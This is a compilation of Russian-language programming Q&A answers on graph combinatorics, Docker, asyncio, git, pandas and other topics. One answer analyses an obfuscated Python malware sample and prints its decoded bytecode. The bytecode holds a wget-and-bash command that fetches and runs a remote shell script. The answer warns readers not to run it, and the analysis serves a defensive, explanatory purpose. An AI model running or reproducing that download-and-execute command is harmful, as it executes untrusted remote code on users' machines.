• Как найти количество помеченных связных графов?

    wataru
    @wataru Куратор тега Алгоритмы
    Разработчик на С++, экс-олимпиадник.
    Формула включения-исключения. Берете все графы, где хотя бы одна вершина соединена со всеми (их n*2^(n-2)*(n-1)), вычитаете все графы, где хотя бы две вершины соеденины со всеми (2 раза, ведь они 2 раза подсчитались), прибавляете графы, где хотя бы 3 вершины соеденины со всеми (3 раза)... И т.д.

    Графов, где хотя бы k вершин имеют степень n-1 - C(n, k)*2^{(n-k-1)(n-k)/2}: тут можно выбрать k вершин и для каждого ребра из оставшихся n-k вершин есть 2 варианта - оно или есть, или нет.

    Это будет за O(n log n) решение, если пердподсчитать все факториалы и обратные к им по модулю в задаче. Ну, или O(n^2), если считать сочетания через треугольник паскаля.

    Ражеванное объяснение:

    Сложно подсчитать количество графов где ровно 1 вершина такая полная. Но легко подсчитать те, где k или более таких. Мы их такие зафиксируем и нарисуем от них все ребра. А все оставшиеся ребра в графе могут быть любыми. Во-первых, можно выбрать эти k вершин - поэтому у нас есть множитель C[n,k]. Оставшиеся, незафиксированные ребра идут между любыми двумя оставшимся n-k вершин. Их (n-k)(n-k-1)/2. И каждое может быть или проведено или нет.

    Поэтому всего таких графов, с не менее k вершин: F(k)=C[n,k]*2^{(n-k)(n-k-1)/2}.

    Теперь, как подсчитать графы ровно с 1 вершиной? Можно взять F(1). Но мы насчитали много лишнего, Графы с 2мя такими вершинами мы в F(1) подсчитали 2 раза. Поэтому вычтем 2F(2). Теперь графы ровно с 3 вершинами мы подсчитали 3 раза в F(1) и 3 раза в каждом F(2). Поэтому пока мы их насчитали 3-2*3 = -3 раза. Поэтому прибавим 3F(3). И далее, получится, что графы ровно с 4-мя вершинами мы подсчитали 4 раза (4-2*6+3*4). И т.д.
    Ответ написан
    6 комментариев
  • Как использовать poetry в Dockerfile и нужно ли вообще?

    karabanov
    @karabanov Куратор тега Docker
    Системный администратор
    # install poetry - respects $POETRY_VERSION & $POETRY_HOME
    RUN curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python
    
    # copy project requirement files here to ensure they will be cached.
    WORKDIR $PYSETUP_PATH
    COPY poetry.lock pyproject.toml ./
    
    RUN poetry install --no-dev


    Подробнее.
    Ответ написан
    6 комментариев
  • Как проверить и заменить индексы в словаре?

    Vindicar
    @Vindicar
    RTFM!
    Делаешь словарь с набором значений по умолчанию, потом вызываешь на нём метод update(), передав туда словарь, полученный извне. Это обновит первый словарь, добавив/перезаписав ключи, пришедшие из второго словаря.
    Ответ написан
    4 комментария
  • Есть ли визуальный редактор как в telegra.ph с лицензией MIT?

    victormayorov
    @victormayorov
    Frontend разработчик
    Есть dante editor. github
    под лицензией MIT и есть возможность с (+) добавлять контент
    Ответ написан
    1 комментарий
  • Как работает locals() в python?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    Прежде всего, в pydoc-комментарии функции locals есть сноска о том, что синхронизация возвращённого функцией словаря с состоянием переменных не гарантируется и зависит от реализации. Конкретно в CPython в данный момент такой синхронизации не происходит потому, что locals получает значения переменных из фрейма стека, копирует в новый словарь и возвращает его. Сделано так, как ни парадоксально, для производительности.
    Ответ написан
    Комментировать
  • Django CMS для образовательного проекта, какие плагины требуются?

    @Everything_is_bad
    сам не разработчик
    ну тогда и не выбирайте на чём и как писать. Создайте нормальное ТЗ и покажите его разработчикам, пусть они под него и выбирают.

    плюс важна скорость загрузки сайта
    на любой технологии можно сделать как быстро, так и медленно, это больше зависит от разработчика, а не от выбора на чем писать

    презентабельный внешний вид
    это тоже не от технологии зависит, а от дизайнера, который будет решать эту задачу.

    ЗЫ мне вот например, Wagtail на порядки больше Django CMS нравится
    Ответ написан
    2 комментария
  • Можете порекомендовать книги для практических заданий Python Data Science?

    Maksim_64
    @Maksim_64
    Data Analyst
    1. От создателя pandas 3-е издание его легендарной книги Python for Data Analysis, 3E Веб версию, книги он сделал бесплатной. Для новичков шикарно, основные библиотеки плюс jupyter.

    2. От профессоров стенфорда, класика по DS с 2023 python edition (с лабараториями и сложными упражнениями). Так же доступна бесплатно. An Introduction to Statistical Learning
    Ответ написан
    3 комментария
  • Почему asyncio.current_task() не передается в функцию?

    Vindicar
    @Vindicar
    RTFM!
    Цитата из документации:
    Return the currently running Task instance, or None if no task is running.

    Как я это понимаю, если ты запланировал выполнение функции как задачи через asyncio.create_task(), то эта функция, и все, вызываемые в ней, смогут получить объект задачи, вызвав asyncio.current_task().
    Если же управление в текущую функции было передано без использования задач на любом из уровней, только через await вызовы, то current_task() вернёт None.

    Но вообще довольно странно. Эксперимент показывает, что хотя бы одна задача должна быть.
    Вот код

    import asyncio
    
    async def print_task():
        print(asyncio.current_task())
    
    
    async def foobar():
        await print_task()
    
    
    async def main():
        print('Direct call')
        await foobar()
        print('create_task')
        task = asyncio.create_task(foobar())
        await task
    
    # asyncio.run(main())  # даст такой же результат
    asyncio.get_event_loop().run_until_complete(main())

    На питоне 3.11 код выводит два объекта задачи, один создаётся run() или run_until_complete(), а другой - create_task(). Тогда получается, что получить None невозможно.
    Ответ написан
    Комментировать
  • Как запустить два параллельных процесса бота: бесконечную функцию, проверяющую имеются ли обновления, и обработчики событий и сообщений?

    Vindicar
    @Vindicar
    RTFM!
    Надо хоть немножечко осознавать, как работает asyncio.
    create_task() возвращает объект класса Task, представляющий собой фоновую задачу. Эта задача уже запланирована к выполнению в рабочем цикле (loop) asyncio, и будет выполняться в фоне пока текущая корутина ожидает какой-нибудь другой операции.

    Но если тебе надо дождаться завершения работы задачи, ты можешь сделать await на этом объекте.
    Тогда текущая корутина приостановится, пока задача не завершится, и получит или возвращённое задачей значение, или выкинутое задачей исключение.
    А теперь посмотри на свой код:
    await asyncio.create_task(start_checking_price(1800))

    Ты создаёшь задачу - и тут же говоришь программе, что тебе надо дождаться её завершения!
    Ну как бы программа и делает в точности то, что ты от неё требуешь...
    Подчёркиваю красным: await asyncio.create_task(some_coro(...)) не имеет смысла практически никогда! Если тебе нужно запустить корутину и дождаться результата, делаешь просто await some_coro(...).
    А вот если тебе нужно запустить корутину параллельно текущей... Получится что-то типа такого:
    # ...
        check_task = asyncio.create_task(start_checking_price(1800))  # нету await, мы не ждём созданную задачу!
    
        try:
            await dp.start_polling()
        finally:
            check_task.cancel()  # отменяем корутину
            # внутри start_checking_price() текущий выполняемый await выкинет исключение CancelledError
            # это исключение всплывёт наружу, если мы сделаем await, и позволит отработать 
            # блокам finally, with и т.п. инструментам. Также можно явно поймать это исключение,
            # чтобы обработать отмену корутины. Но в твоём случае это не требуется.
            try:
                await check_task  # даём корутине отработать завершение
            except asyncio.CancelledError:  # ловим всплывшее CancelledError
                pass  # всё ок, никакие действия не требуются
            await my_bot.close()
    Ответ написан
    7 комментариев
  • Как изменить структуру БД для оптимизации запросов?

    @Everything_is_bad
    А рекурсия где, в питоне? может пора узнать про рекурсию на уровне SQL? Так же иногда "дешевле" разом выбрать все записи, а потом уже на уровне python собрать иерархию. Ну и сразу, есть минимум три распространённых способа хранения "вложенности" adjacency list, materialized path, nested sets изучи их.
    Ответ написан
    1 комментарий
  • Какая может быть формула для решения этой задачи?

    Alexandroppolus
    @Alexandroppolus
    кодир
    function int(x) {
        return Math.floor(x);
    }
    
    function check(x, i) {
        const v = int(x / 2 ** (i - 1));
        
        return v - int(v / 2) * 2;
    }


    Здесь ** - степень, её приоритет выше чем у деления, там х делится на 2 в степени..

    возвращает 1, если выбрано, и 0, если не выбрано.

    i нумеруется с единицы
    Ответ написан
    9 комментариев
  • Как с помощью питона проверить существует ли имя человека?

    @Everything_is_bad
    найти список всех существующих имен (полный найти почти невозможно) и сделать по нему поиск (элементарно)
    Ответ написан
    Комментировать
  • Git: объясните «на пальцах» разницу между rebase и cherry-pick?

    @Nkly777
    git chery-pick - ты забираешь комиты из одной ветки в другую, это бывает полезно когда изменения сделаные другим разработчиком в его ветке, прямо сейчас нужны тебе в твоей ветке, и что бы не писать этот код заново, ты забираешь его комит себе в ветку

    git rebase master - ты синхронизируешься с главной веткой в которую коммитят все разработчики проекта, это полезно когда кто-то изменил участок кода с которым ты сейчас работаешь в своей ветке, дабы через неделю ты смог без проблем смержиться с master веткой. Обычно делается каждое утро перед началом рабочего дня и в конце когда фича готова.

    git merge - обычно используется когда у вас 2 и более master ветки (к примеру master и prototype) в этих ветках очень много комитов (и rebase здесь не подходит) и обчно через пару недель, maintainer репозитория наработки из prototype ветки "сливает" в master ветку по средствам этого самого git merge

    P.S. Что бы легче предствить разницу между git merge и git rebase. Представь что merge как собачка на молнии у одежды - "сшивает" комиты по дате их создания.
    В то время как git rebase как пожарная лестница - при применении твои коммиты крепится на конец родительской ветки

    git merge используйте для мержа фич и фиксов в master ветку (как и делает это Github)
    а git rebase используется для своей ветку в которой вы работаете над фичей что бы забрать последние изменения с master ветку (для этого есть очень удобная команда `git pull --rebase origin master`, аналог 3х команд (`git checkout master; git pull origin master; git checkout mybrach; git rebase master`)
    Ответ написан
    2 комментария
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Как исправить ошибку "AttributeError: 'set' object has no attribute 'items'" в дискорд-боте?

    phaggi
    @phaggi Куратор тега Python
    лужу, паяю, ЭВМы починяю
    В вашем коде несколько ошибок, одна из них - в качестве headers ожидается структура типа «словарь» («dict»), а вы создаете тип «множество» («set»).
    Должно быть что-то вроде:
    headers = {'user-agent': 'my-app/0.0.1', 'token': 'Токен есть если что'}

    и так далее, это прям из документации по requests

    Вторая ошибка - for lines in lines:
    очевидно надо что-то вроде
    for line in lines:
        …json = {"content": line}


    Исходя из всего этого видно, что хорошо бы разобраться со структурами вообще и в python со стандартными встроенными типами структур в частности, а также с итераторами и итерацией.
    Ответ написан
    1 комментарий
  • Что делает единичная звездочка в аргументах метода Python?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Что делает единичная звездочка в аргументах метода Python?

    namedtuple(
    typename,
    field_names,
    *,
    rename=False,
    defaults=None,
    module=None,
    )

    Ни разу не встречал такое раньше, в документации тоже не смог откопать

    PEP 3102
    Ответ написан
    Комментировать
  • Какое значение должно быть у return, чтобы на выхлопе у функции были все числа из диапазона в строке?

    Нужно дописывать значения i в конец строки и возвращать уже строку.
    def join_numbers_from_range(start, finish):
        result = ""
        i = 1
        while i <= finish:
            result += str(i)
            i = i + 1
        return result
    print(join_numbers_from_range(start=5, finish=7))
    Ответ написан
    2 комментария
  • Как реализовать базовый класс для динамического создания подклассов без вызова рекурсии в Python?

    Vindicar
    @Vindicar
    RTFM!
    Пусть родительский класс имеет классовую переменную, храняющую список известных классов потомков и ассоциированные с ними данные.
    Потомки должны будут регистрировать себя в этой коллекции - либо явно (через метод или декоратор), либо неявно, через метакласс. Тогда родительский класс будет перебирать эту коллекцию в поисках "подходящего" класса-потомка и создавать его.

    Пример:
    class Parent:
        known_children = []  # список классов-потомков Parent
        @staticmethod
        def register(klass):  # декоратор для регистрации классов-потомков
            Parent.known_children.append(klass)
            return klass
        @classmethod
        def can_handle(cls, data):  # "эй, потомок, ты можешь себя создать из этих данных?"
            raise NotImplementedError()
        @staticmethod
        def make(data):  # создаёт экземпляр одного из потомков
            for child in Parent.known_children:
                if child.can_handle(data):  # потомок согласился обработать данные?
                    return child(data)  # вызываем конструктор класса-потомка 
            else:  # относится к for ... in !
                raise TypeError(f'Никто не знает, что делать с этим:\n{data!r}')
        # тут остальная начинка класса
        ...
    
    # а это пример потомка
    @Parent.register  # явная регистрация потомка через декоратор
    # так удобнее, потому что так можно создавать промежуточных потомков,
    # которые не будут реально использоваться - только в наследовании
    class SomeChild(Parent):
        @classmethod
        def can_handle(cls, data):
            return data.get('name', None) == 'SomeChild'  # критерий для определения - наш случай или нет?
        
        def __init__(self, data):
            self.x = data['x']
            self.y = data['y']
    
    c = Parent.make({'name': 'SomeChild', 'x': 42, 'y': 69})  # создаст экземпляр SomeChild
    print(c)
    try:
        Parent.make({'name': 'invalid'})  # потерпит неудачу
    except TypeError as err:
        print(err)
    Ответ написан
    Комментировать
  • При каких обстоятельствах запущен данный процесс python-программы?

    Vindicar
    @Vindicar
    RTFM!
    Я бы попробовал использовать аудит-хук.
    Многие функции питона генерят события аудита, на которые можно подписаться.
    Есть полная таблица событий для CPython, но тебя будут интересовать события типа subprocess.Popen, os.system, os.spawn, os.startfile, os.exec, os.fork и так далее.
    Внутри хука можешь попробовать вызвать traceback.format_stack() чтобы узнать текущий стек вызовов, и записать его в какой-нибудь журнал работы.
    import sys
    import traceback
    # хук который ловит событие импорта модуля
    def hook(event, args):
        if event != 'import':
            return
        name, filename = args[0], args[1]
        callstack = traceback.extract_stack(limit=None)
        print(event, name, filename)
        for item in traceback.format_list(callstack):
            print('    ', item.strip())
    
    sys.addaudithook(hook)
    
    import json
    
    print('Done')


    Это сработает только если процессы спавнятся средствами питона, а не каким-нибудь скомпилированным расширением.

    Также можешь поискать использование модуля multiprocessing, это тоже вероятный кандидат.
    Ответ написан
    1 комментарий
  • Как вытащить из текста эмоджи?

    Maksim_64
    @Maksim_64
    Data Analyst
    В целом тебе нет необходимости для "удаления" вытаскивать в отдельную колонку. Обычно из фрейма ничего не удаляют, его не изменяют, а извлекают из него подсеты которые отвечают твоим требованиям. Код придется картинкой опубликовать а то форматирование не поддерживает эмоджи.
    6580990e822cb151482037.png

    Если ты не знаешь всех своих эмоджи то есть библиотеки получи все юникоды своих эмоджи и проверяй строку не содержит ли она юникод эмоджи, это будет очень медленно. лучше выбрать их несколько я думаю там их не много и как у меня в примере просто пусть их там десятка два будет а не два. Можно также попробовать простенькой регуляркой отловить что то типа такого
    df[df['comment_text'].str.contains(r'[^\w\s,]', regex=True)]
    Для моего примера работает, сработает ли в целом неизвестно.
    Ответ написан
    4 комментария